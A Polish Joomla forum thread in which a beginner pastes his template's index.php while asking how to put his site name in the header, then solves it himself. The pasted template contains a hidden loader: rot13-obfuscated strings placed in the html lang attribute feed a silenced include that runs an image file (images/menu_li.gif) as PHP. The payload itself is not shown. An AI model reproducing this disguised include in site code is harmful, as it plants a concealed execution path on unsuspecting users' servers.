PDA

Zobacz pełną wersję : Tytuł witryny



tomek12
28-06-2011, 20:55
Witam
Na wstępie zaznaczam że nie mam pojęcia o programowaniu, z joomla mam do czynienia od wczoraj. Ściągnąłem szablonik jak niżej i wysłałem na serwer, coś tam w miarę obrobiłem, jak na początek to i tak jestem zdziwiony że tyle zrobiłem.

4120
I teraz mam problem, chciałbym na tej burzy zamiast znaczka joomla umieścić swoją nazwę np xxx, jeśli nie da się zamiast joomla to gdzieś obok. Nie mam pojęcia jak to zrobić. Wyczytałem że coś się wkleja do index php więc go przedstawiam:
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
JPlugin::loadLanguage( 'tpl_SG1' );
define( 'path', dirname(__FILE__) );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />

<?php
$menu_name = $this->params->get("menuName", "topmenu");
$menu_type = $this->params->get("menuType", "splitmenu");
require(path .DS."styleloader.php");
require(path .DS."utils.php");
?>
</head>

<body>
<div id="wrapper">
<a name="up" id="up"></a>
<!-- start header -->
<div id="topnavi">
<?php if($mtype != "module") :
echo $mainnav;
else: ?>
<jdoc:include type="modules" name="user3" />
<?php endif; ?>
</div>
<div id="header">
<div id="title">
<?php echo $mainframe->getCfg('sitename') ;?>
</div>
<div id="search">
<jdoc:include type="modules" name="user4" />
</div>
</div>
<!-- end top menu. -->
<div id="main">
<!-- start left column -->
<div id="leftcol">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<!-- end left column. -->
<div id="maincol_wrapper">
<!-- start top column -->
<div id="topcol">
<jdoc:include type="modules" name="user1" style="xhtml" />
</div>
<div id="topcol">
<jdoc:include type="modules" name="user2" style="xhtml" />
</div>
<div class="clear"></div>
<!-- end top column. -->
<!-- start main content -->
<div id="maincol">
<div id="pathway">
<jdoc:include type="modules" name="breadcrumb" />
</div>
<div id="maincol_body">
<jdoc:include type="component" />
<jdoc:include type="modules" name="footer" style="xhtml"/>
<?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainfra me->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
<?php endif; ?>
</div>
</div>
<!-- end main content -->
</div>
<div class="clear"></div>
</div>
<!-- copyright -->
<div id="copyright">
<?php echo JText::_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText::_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</div>
</div>

<jdoc:include type="modules" name="debug" />
</body>
</html>
to tyle moich wypocin, proszę o pomoc.

tomek12
29-06-2011, 14:10
Sprawa była banalna, trzeba wejść w Konfigurację i pod Nazwą witryny wpisać co się chce.
Może ktoś wie jak zmienić wielkość czcionki?

ptakpmi
29-06-2011, 15:19
36077305 moje gg